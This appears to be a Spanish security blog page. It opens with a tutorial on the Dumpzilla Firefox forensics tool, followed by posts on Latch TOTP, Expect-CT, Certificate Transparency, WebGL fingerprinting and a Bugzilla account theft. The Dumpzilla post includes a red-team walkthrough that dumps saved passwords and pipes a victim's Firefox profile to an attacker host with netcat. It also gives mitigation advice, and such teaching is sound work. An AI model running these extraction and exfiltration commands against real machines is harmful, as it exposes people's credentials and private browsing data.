Dumpzilla: Cómo hacer un análisis forense a los usuarios de Mozilla Firefox

Como todos sabemos, la información que queda almacenada de las personas en los navegadores web, entre las que se encuentran nombres de los usuarios y contraseñas, cookies, historial de descargas y otros muchos datos resultan de gran valor para la seguridad y privacidad personal, por lo que es conveniente mantenerla protegida. Hoy os voy a hablar de una herramienta con la que nos topamos recientemente llamada dumpzilla y que tiene que ver precisamente con toda esa información que se almacena en los navegadores de Internet.

Figura 1: Dumpzilla "Cómo hacer un análisis forense a los usuarios de Mozilla Firefox"

Dumpzilla Es una herramienta muy útil, versátil e intuitiva dedicada al análisis forense en navegadores Mozilla. Según el GitHub de la herramienta desarrollada para Python, Dumpzilla tiene la capacidad de extraer toda la información relevante de navegadores Firefox, Iceweasel y Seamonkey para su posterior análisis de cara a ofrecer pistas sobre ataques sufridos, robo de información, contraseñas, correos, etcétera.

Figura 1: Dumpzilla en GitHub

Con esta herramienta se podemos acceder a un gran volumen de información valiosa, entre la que podemos encontrar:

• Cookies + almacenamiento DOM (HTML 5) 

• Preferencias de usuario (permisos de dominio, ajustes de Proxy, etc...)

• Historial de visitas

• Historial de descargas

• Datos de formularios web (búsquedas, e-mails, comentarios, etc...)

• Marcadores

Además, Dumpzilla también contempla la opción --Watch, que permite auditar el uso de nuestro navegador en tiempo real. Por todo ello nos decidimos a jugar con esta herramienta para probar sus capacidades, centrándonos en Mozilla Firefox.

Instalación de Dumpzilla

El primer paso es conocer el directorio donde se almacena la información de los perfiles de usuario del navegador. Para cada SO:

• Linux: /home/user/.mozilla/firefox/xxxxxxxx.default 

• MacOS: /Library/Application Support/Firefox/Profiles/ xxxxxxxx.default 

• Windows XP: C:\Documents and Settings\user\Datos de programa\Mozilla\Firefox\Profiles\ xxxxxxxx.default 

• Windows Vista, 7, 8 y 10: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ xxxxxxxx.default

En el caso que nos ocupa, hemos realizado la prueba en dos máquinas virtuales. Una con SO Kali Linux 2018.2 y otra con Ubuntu 16.04 LTS, por lo que el fichero con la información relativa a los perfiles de nuestro navegador se encuentra en la ruta /home/user/.mozilla/firefox/xxxxxxxx.default. Firefox genera un fichero xxxxxxxx.default con 8 caracteres aleatorios y los asigna al nombre de un determinado perfil. Cada directorio puede ser procesado individualmente haciendo uso de Dumpzilla.

De cara a la instalación y uso de Dumpzilla, comenzaremos instalando algunos paquetes necesarios. Primero instalando algunos paquetes haciendo uso de pip:

pip install logging

Instalamos algunas librerías más haciendo uso de apt-get:

apt-get install python3 sqlite3 python-lz4 libnss3

A continuación, procedemos a descargar Dumpzilla. Aunque lo inmediato hubiera clonar el repositorio de GitHub de la herramienta, se reportó un bug en la última versión que provoca un fallo en la decodificación de las contraseñas guardadas en Firefox. Gracias al buen versionado de la herramienta, procedemos a descargar esta versión de Dumpzilla y a extraer la los ficheros comprimidos:

wget 'https://github.com/Busindre/dumpzilla/archive/b3075d1960874ce82ea76a5be9f58602afb61c39.zip'

unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip

Figura 3: Extracción de Dumpzilla tras su descarga

Tras extraer los archivos, nos metemos en la carpeta recién creada dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ con el contenido de scripts y carpetas de la versión correspondiente.

cd dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/

Damos permiso de ejecución del fichero dumpzilla.py

chmod +x dumpzilla.py

Una vez dados estos pasos, ya tendríamos Dumpzilla listo para su uso.

Primera prueba con Dimpzilla

Para comprobar que todo ha ido bien, podéis hacer una copia de los directorios donde se almacenan los ficheros con la información de los perfiles indicados anteriormente (en función de vuestro SO) a la carpeta dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ y probar a ejecutar el script sobre el que acabamos de dar permiso de ejecución.

Por ejemplo, para extraer las contraseñas de un determinado perfil de Firefox, sólo tenemos que hacer uso del siguiente comando (en el caso de estar trabajando en Linux):

python3 dumpzilla.py firefox/xxxxxxxx.default/ --Passwords

Figura 4: Presentación de usuarios y contraseñas de un perfil
de Mozilla Firefox tras la ejecución de Dumpzilla

python3 dumpzilla.py firefox/xxxxxxxx.default/ --History

Figura 5 Presentación de historial de un perfil
de Mozilla Firefox tras la ejecución de Dumpzilla

Como podéis ver, el uso de la herramienta es sencillo y se obtiene una gran cantidad de información que puede resultar útil siempre y cuando la intención de su uso sea lícita. Podéis ver todas las posibilidades de uso aquí en el Manual de Dumpzilla en Español. La información que extraigamos del navegador vendrá dada en función de los hábitos de uso del usuario, la versión del web browser y su configuración, así como del azar.

Estas herramientas también tienen valor en un escenario de pentesting, en donde un atacante de un Red Team quiere acceder información sensible de los usuarios de una máquina donde se está utilizando uno de estos navegadores.

Dumpzilla en un pentesting de un Red Team

Todo usuario de Firefox sabe que el navegador es capaz de gestionar múltiples perfiles. Estos perfiles se suelen usar con la intención aislar de los demás su actividad en el navegador. No nos hemos encontrado con restricciones en el acceso a perfiles, pues sólo tenemos uno habilitado en cada máquina virtual al ser una prueba de concepto rápida.

En el caso de que tuviéramos varios perfiles habilitados para varios usuarios, sólo podríamos acceder a la información de aquellos para los que nuestro usuario tiene permiso de lectura, quedando los otros perfiles sin visibilidad en el caso de no contar con acceso de administrador.

Poniendo un ejemplo sencillo, supongamos que un atacante ha creado un backdoor y que nuestra máquina se ha visto comprometida. Además, el atacante contaría con total probabilidad perfil root (administrador), lo que le permitiría acceder a toda la información de los perfiles de Firefox almacenados en esa carpeta, sin restricción en los permisos. Este tipo de ataque ya se trató en este artículo, al que os animamos a echar un vistazo.

Figura 6: Diagrama de obtención de datos de perfiles de Mozilla Firefox

Tomando como atacante la VM con SO Kali Linux y la VM de Ubuntu como víctima, podremos reproducir el ataque con sólo tres comandos. Situándonos en la máquina atacante, en la carpeta dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ recurrimos a Netcat (una herramienta adecuada para supervisar y escribir sobre conexiones tanto TCP como UDP).

nc -l -p 9999 | tar x

A través de este comando pediremos a Netcat que escuche (-l) a través del puerto (-p) 9999 todo dato entrante especificado por tar. El x tras el comando tar indica que debe extraer y almacenar de manera automática todos los directorios comprimidos que vengan del netcat pipe. Los directorios se comprimen durante la transmisión de Netcat para facilitar a la propia herramienta el procesado de los datos. Podemos acceder como root a través de ssh a la máquina con backdoor:

ssh root@IP_UBUNTU

Dentro de la máquina atacada nos movemos a la carpeta donde se almacena toda la información de los perfiles:

cd /home/.mozilla/

para ejecutar

tar cf - firefox/ | nc IP_KALI 9999

Aquí hacemos uso del comando tar para comprimir el contenido de la carpeta firefox/ y dirigirlo haciendo uso del comando nc. La dirección IP del atacante queda representada por IP_KALI.

Hay que dar un cierto margen a la ejecución de este comando, en especial si el perfil de Firefox que queremos transferir contiene meses de historial, cookies y múltiples marcadores. Detener el proceso de manera abrupta podría corromper algunos ficheros y hacer imposible la decodificación de la información que nos interesa.

Ya de vuelta en nuestra máquina Kali Linux (la atacante) tendremos en nuestro directorio dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ con al menos un directorio firefox/ con el naming xxxxxxxx.default/.

Figura 7: Contenido del directorio de dumpzilla tras la transferencia de firefox/ desde la víctima

De este directorio se podría extraer toda la información deseada, tal y como se mostró anteriormente con los comandos simples de la Figura 3 y la Figura 4, o siguiendo los comandos que se describen en el Manual de Dumpzilla en Español.

Reflexión final

Como se puede ver, hay herramientas más que preparadas para extraer toda la información de un usuario que se encuentra en un navegador. En este caso en Mozilla Firefox, Iceweasel y SeaMonkey, pero las herramientas existen para todos. Almacenar información como contraseñas de manera indiscriminada en el navegador y no actualizarlas con una cierta frecuencia puede llegar a poner en riesgo nuestras credenciales de acceso a nuestras diferentes cuentas.



Figura 8: Cómo proteger tu cuenta de Mozilla Firefox con Latch Cloud TOTP
Para mitigar que información sensible del usuario quede expuesta por este medio, algunas buenas prácticas sencillas que podrían dificultar la obtención de datos personales a través de este tipo de ataques podrían ser:

• Uso de la navegación privada, a pesar de la inconveniencia derivadas del mismo. 

• Gestionar correctamente las contraseñas, a saber:

o Nunca hacer uso de diccionarios 

o Poner passwords que no sean fáciles de adivinar 

o Cambiar las contraseñas con frecuencia 

o No usar la misma contraseña para diferentes cuentas 

o Poner un Segundo Factor de Autenticación a todas tus identidades

• Como no, Proteger tus perfiles de Firefox con Latch Cloud TOTP.

Autor:  Enrique Blanco (@eblanco_h) miembro del equipo de Ideas Locas en CDO (Telefónica)

Cómo configurar Latch Cloud TOTP en las cuentas de Mozilla Firefox

Las cuentas de usuario de Mozilla Firefox disponen de la posibilidad de utilizar Autenticación en 2 Pasos. La nueva característica de seguridad se encuentra en pruebas, por lo que si entráis en la settings de vuestra cuenta de usuario de Mozilla Firefox no la encontraréis. Es decir, si entráis en https://accounts.firefox.com/settings veréis las opciones de la cuenta, pero no encontraréis la nueva característica, ya que ésta se encuentra en pruebas.

Figura 1: Cómo configurar Latch Cloud TOTP en las cuentas de Mozilla Firefox

Pero si por el contrario utilizáis el siguiente parámetro https://accounts.firefox.com/settings?showTwoStepAuthentication=true accederéis a la configuración de la cuenta y podréis ver la característica de seguridad de Autenticación en 2 Pasos.

Figura 2: URL para acceder a la configuración de 2SA

Hemos hablado ya de los muchos servicios dónde se puede hacer uso de Latch Cloud TOTP, pero hoy queríamos añadir las cuentas de Mozilla Firefox a la lista y enseñar lo fácil que es poder fortificar la cuenta. El mecanismo utilizado para la autenticación en dos pasos es la de utilizar un TOTP que se debe generar desde la aplicación de Latch.

Figura 3: Latch Cloud TOTP en Mozilla Firefox

Como se comentó anteriormente, al acceder a la URL https://accounts.firefox.com/settings?showTwoStepAuthentication=true y, lógicamente, estar “logado” en el sitio web de Firefox se muestran las diferentes opciones de la cuenta. Ente ellas vemos la denominada: “Autenticación en dos pasos” y podemos ver que se puede activar.

Figura 4: Opciones de la cuenta de Mozilla Firefox 

Pulsando sobre el botón “Activar” llegamos a la siguiente pantalla dónde se nos pide que escaneemos el QRCode con la aplicación de seguridad para gestionar el 2FA, en este caso, Latch Cloud TOTP. Este QRCode permite realizar el intercambio de la semilla, con la que se generan los diferentes TOTP, en función del tiempo.

Figura 5: Código QRCode para hacer esta demo

Una vez se escanea el QRCode se debe introducir el número que nos aparece en la aplicación de Latch. Para ejemplificar el proceso y entender mejor el paso a paso os dejamos un vídeo en el que se puede ver la sencillez del proceso completo.

Figura 6: PoC de cómo configurar 2FA en Mozilla Firefox con Latch

Hoy en día, la mayoría de servicios que utilizamos disponen de la autenticación en dos pasos, por lo que es totalmente recomendable la configuración y utilización de éstos. Además, los procesos de pairing y el uso de este tipo de mecanismos se ha vuelto más sencillo con el paso de los años, por lo que tienen un menor impacto en la experiencia de uso.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

Expect-CT: Un nuevo HTTP Header de Google para Certificate Transparency

Hace poco que hemos lanzado desde ElevenPaths nuestro add-on Certificate Transparency Checker para Mozilla Firefox, y es que no quedan muchos meses para que el modelo de Certificate Transparency empujado por Google empiece a ser realidad en Google Chrome. De hecho, a comienzos de este año Google ha empujado también un nuevo HTTP Header para que los servidores vayan reportando a los navegadores si van a estar listos o no para la llevada de Certificate Transparency.

Figura 1: Expect-CT un nuevo HTTP Header de Google para Certificate Transparency

El HTTP Header se llama Expect-CT y su formato está recogido en un draft durante el modo experimental en que está. La idea de este HTTP Header es informarle al navegador si debe esperar o no la entrega de los SCT (Signed Certificated Time-Stamps) que van asociados a los certificados cuando estos están publicados en los logs de los servidores de Certificate Tansparency.

Figura 2: Expect-CT Extension for HTTP draft

Este HTTP Header tiene tres posibles directivas. La primera será la posibilidad de forzar o no forzar el uso de Certificate Transparency. Para ello, si el HTTP Header de Expect-CT lleva la directiva "enforce" el navegador deberá esperar la llegado de los SCT y si no llegan, abortar la conexión.

Expect-CT: enforce

La segunda es el tiempo que debe ser cacheada esta directiva en el navegador, y este es un valor en segundos que se inserta en max-age. Es decir, una vez que un servidor web envíe la política Expect-CT, esta perdurará durante el "max-age" en la caché del navegador.

Expect-CT: enforce; max-age=1440

La tercera y última es "report-URI", es decir, la URL a la que el navegador debería enviar los reportes de fallos en la política Expect-CT. 

Expect-CT: enforce; max-age=1440;
           report-URI= https://misitio.com/CTReport/

Estos "violation reports" los envía el navegador en formato JSON al endpoint que se reporte en la directiva, y tienen esta estructura.

Figura 3: Formato JSON de Violation Report de Expect-CT

Si tu sitio web ya está listo para Certificate Transparency, puedes comenzar a utilizar este HTTP Header en modo "report-URI" sin "enforce", para que vayas viendo cómo se comportan los navegadores. 

Figura 4: Certificate Transparency Checker para Mozilla Firefox

Si quieres, en el blog de ElevenPaths puedes leer más sobre Certificate Transparency, y puedes usar nuestro add-on gratuito Certificate Transparency Checker para Mozilla Firefox.

Saludos Malignos!

Certificate Transparency Checker para Mozilla Firefox

La iniciativa de Certificate Transparency viene impulsada desde el equipo de seguridad de Google y busca justo lo que el nombre pone: Que haya transparencia sobre los certificados digitales que se utilizan en conexiones seguras HTTPs. La idea es tan sencilla como crear repositorios en Internet llamados Logs, donde los dueños de los certificados que van a ser utilizados en servicios web de Internet puedan ser consultados, revisados y analizados. En definitiva, que cualquiera pueda ver la información de los certificados que se están utilizando.

Figura 1: Certificate Transparency Checker para Mozilla Firefox

La idea de esta tecnología es permitir que los analistas de seguridad puedan revisar, cuándo un certificado digital se da de alta en un Log, la información relativa al mismo, lo que evitaría tener que recurrir a los conocidos servicios de escaneo de sitios web en Internet que permiten accede a estos certificados con periodicidad - y de forma incompleta - por supuesto. Lo que se busca es que cualquier certificado pueda ser analizado por quien quiera y sirva para detectar ataques de Phishing, fallos de configuración o investigar la historia de un determinado certificado que fue utilizado en un incidente de seguridad.

Figura 2: Web del proyecto Certificate Transparency de Google

Cuando un certificado digital es subido a uno de los servidores Log - puede subirlo a múltiples servidores distintos para que exista mayor disponibilidad - recibe lo que se llama SCT (Signed Certifcate Timestamp) que lleva información del certificado, el servidor Log y la fecha a la que fue subido a dicho servidor Log. 

Figura 3: Esquema de auditoría de Certificate Transparency con SCTs integrados en el certificado

Este SCT será enviado junto con el certificado digital para garantizar que el dueño de dicho certificado ha expuesto públicamente la información de este certificado para que haya transparencia sobre él y que cualquiera pueda evaluar su veracidad, robustez y cualquier otro detalle. Para que esto tenga valor, el navegador que utilice un cliente debe dar valor a la existencia o no de esta transparencia, y por ello Google Chrome va a comenzar a generar alertas de seguridad cuando un usuario se conecte a un sitio web que utilice un certificado digital del que no se haya podido verificar su publicación en un servidor de Logs de Certificate Transparency.

Figura 4: En los eventos de Google Chrome se puede ver la info de los SCT después de recibir el certificado.

Para ello, cuando se conecta a un sitio web HTTPs analizará el certificado digital para ver si éste trae la información de los SCT en los que ha sido publicado incrustados, o si vía OSCP o usando extensiones TLS se envían dichos SCT, que las tres opciones son válidas. Si es así, lo dará como publicado y sujeto a escrutinio público, por lo que no generará ninguna alerta, mientras que si no tiene SCTs válidos, entonces generará una alerta en futuras versiones del navegador - no por ahora -.

Figura 5: Esquema de Certificate Transparency con organizaciones que
monitorizan la emisión de certificados y auditan los certificados emitidos.

Se persigue luchar contra los certificados digitales robados o generados de manera fraudulenta que son utilizados en esquemas de Spear Phishing o APTs que generalmente solo son vistos por la víctima. De esta forma ahora, si la víctima utiliza Google Chrome recibirá una alerta cuando esos certificados estén fuera de los servidores de Log. Existen muchas dudas aún al respecto, pero lo cierto es que la fuerza que tiene Google con Chrome hará que se acabe imponiendo de una forma u otra, y por eso algunos navegadores van a comenzar a a tomarse en serio este sistema. 

Certificate Transparency Checker en Mozilla Firefox

Nuestros compañeros del Laboratorio de ElevenPaths han estado haciendo cierto trabajo al respecto, y han lazando un Add-on para Mozilla Firefox llamado Certificate Tansparency Checker que evalúa los certificados digitales en busca de los SCT incrustados, ayudando a que esta información sea visible y útil dentro del navegador Mozilla Firefox.

Figura 6: Descarga de Certificate Transparency Checker para Mozilla Firefox

Para eso te la puedes descargar desde la web del laboratorio de ElevenPaths, e instalar el Add-on en tu navegador Mozilla Firefox. A partir de ese momento, podrás verificar si un determinado sitio web cumple o no con la especificación de Certificate Transparency como se puede ver en esta imagen.

Figura 7: Información de Certificate Transparency del certificado de ElevenPaths

En el siguiente vídeo se puede ver el proceso completo en un minuto, desde la descarga e instalación del add-on hasta la verificación de la información SCT contenida en un determinado certificado digital.

Figura 8: Explicación de Certificate Transparency Checker

En este caso, la información de SCTs que pudieran venir por extensiones TLS o por medio del protocolo OCSP quedan fuera del ámbito, así que, aunque el porcentaje de uso de TLS u OCSP para enviar info de Certificate Transparency es pequeño, podría estar cumpliendo la especificación y que con el plugin de Certificate Transparency Checker no se viera.

Saludos Malignos!

(Cross)Browser Fingerprinting via OS & HW Level Features

El mundo del Web Browsing fingerprinting es una disciplina que se ha desarrollado mucho durante los últimos años. El poder garantizar que un usuario es un usuario concreto y que es el mismo que estuvo mirando algo en otro sitio es una pieza clave dentro del mundo de la monetización de los datos. Para ello, lo que intentan todos los investigadores de estas disciplinas es estudiar al máximo al huella digital de tu conexión.

Figura 1: (Cross) Browser Fingerprinting via HW & OS

Conocer todos los patrones de ti que te hacen ser tú y poder reconocerte bajo cualquier situación y en cualquier lugar en el que estés navegando. Los trucos para crear tu huella digital son algunos muy conocidos, otros no tantos. Desde mirar todas las características del navegador, hasta mirar el comportamiento de la batería de equipo.

Figura 2: Mozilla Firefox quitó el acceso a Battery Status desde HTML5

Tanto es así, que hasta Firefox cortó el acceso de las funciones de consulta de la batería desde HTML5. Toda información que se pueda conseguir desde el navegador puede servir para identificarte y puede convertirse en algo que utilicen para monitorizar tus movimientos a través de diferentes sitios web.

Figura 3: Cross Browser Fingerprinting via OS and HW Level Features

Cada cierto tiempo salen nuevas formas de identificar propiedades del navegador - como este trabajo con los códigos de estado HTTP -, de generar una supercookie con algún leak de información, o de hacer que la cookie sea persistente de una forma u otra. Nosotros también estuvimos jugando con esto, y publicamos un trabajo hace mucho tiempo en Informática 64 sobre cómo usar los códigos de error de algunas funciones JavaScript para identificar el navegador. Todo por identificarte de la mejor forma posible. 

Figura 4: Resumen (no actualizado) de algunas técnicas de Webbrowsing fingerprinting utilizadas

Ahora, unos investigadores han ido un poco más lejos y han creado un conjunto de pruebas aprovechando WebGL para forzar al navegador a hacer llamadas que se ejecuten directamente en el hardware.

Figura 5: Forzado de figuras con WebGL que dependen del HW y el OS

Estas pruebas de dibujo, renderización de imágenes y materiales, se ejecutan directamente en las tarjetas gráficas y se ven afectadas por el tipo de hardware que tengan en ellas y el sistema operativo que las gestiona, así como de la potencia de la CPU del equipo. Es decir, la implementación del estándar WebGL en el navegador (ya sea Google Chrome, Firefox o Microsoft Edge) no incide en los cálculos que se obtienen en cada prueba.

Figura 6: El código del (Cross) Browser fingerprinting en GitHub

Esto quiere decir que cada prueba se puede hacer desde diferentes navegadores en el mismo hardware y se obtienen los mismos resultados, lo que lleva a que el Fingerprinting de un cliente web no se haga sobre el navegador, sino sobre el hardware y que si un mismo usuario se conecta con dos navegadores distintos, al final pueda ser identificado de igual forma.

Figura 7: Proceso de identificación de "huellas digitales" por medio de tareas de rendering

Esto no quiere decir que haya que dejar de hacer el resto de los cálculos de WebBrowsing Fingerprinting - ni mucho menos - sino que añaden un conjunto de pruebas que permite a las empresas que se dedican a esto la posibilidad de generar un parámetro más en la identificación de los usuarios basado en el equipo de conexión.

Figura 8: Big Data y Privacidad

Al final, cuando te conectas a Internet, el que te puedan identificar de una forma u otro es algo ya maduro y difícil de parar y en esta charla sobre Big Data y Privacidad hablé de esto tiempo atrás, por si quieres saber más de ello.

Saludos Malignos!

Robando 0days a los programadores de Mozilla Foundation

Una de las cosas que la comunidad de investigadores de seguridad empezó a utilizar hace tiempo fue la búsqueda de bugs de seguridad corregidos en proyectos Open Source que pudieran terminar en 0days con un tiempo de vida limitado, pero útil. Básicamente, la idea consiste en ver qué bugs se están arreglando en el código fuente de un producto Open Source en tiempo real. Si esos bugs son de seguridad, entonces se pude hacer un exploit que tome ventaja de ellos antes de que el usuario tenga esa actualización instalada.

Figura 1: Robando 0days en Bugzilla

Hay que tener en cuenta que, desde que un bug de seguridad es arreglado, es necesario hacer las compilaciones, pasar los test de QA, pasar a distribuciones y al proceso planificado de actualizaciones. Por el contrario, para un exploiter basta con que le señalen donde está el bug y construya el exploit. 

El robo de bugs de Bugzilla

Es por eso que, los proyectos importantes mantienen ciertos bugs de seguridad que gestionan vía Bugzilla - generalmente reportados por canales de Responsible Disclosure - están totalmente cerrados, y solo un círculo de desarrolladores de confianza que han adquirido un determinado nivel en la escala de meritocracia, pueden acceder a ellos.

Figura 2: Nota de Bugzilla sobre el robo de la cuenta

En el caso de Mozilla Foundation, han reconocido que les robaron una cuenta a uno de esos desarrolladores que tienen acceso a los bugs de seguridad privados. El robo de la identidad, según explican, parece provenir de:

1) Una reutilización de la contraseña en otro foro que fue vulnerado.
2) Ausencia de un sistema de Segundo Factor de Autenticación que hubiera prevenido de que pudiera utilizarse la password.

Al final, se han dado cuenta del uso fraudulento de esa identidad, y han echado los cálculos de los bugs que ha podido robar - para vender por canales alternativos o para utilizarlos - y cuáles han sido las ventanas de tiempo de las que ha podido disponer desde que se supo la primera información del bug y estuvo en manos de los usuarios solucionado el bug.

Figura 3: Análisis de bugs a los que tuvo acceso y las ventanas de tiempo

Como se puede ver, uno en concreto le ha dado una ventana de tiempo de casi un año de ventana de tiempo, lo que es un gran resultado para un exploit. Si estás haciendo software, las credenciales de tus desarrolladores deben estar protegidas. Nosotros usamos Redmine para el seguimiento de bugs y los proyectos, y por eso desarrollamos un plugin de Latch para Redmine - que puedes poner en tu propia instalación - para controlar el acceso a esa información.

Saludos Malignos!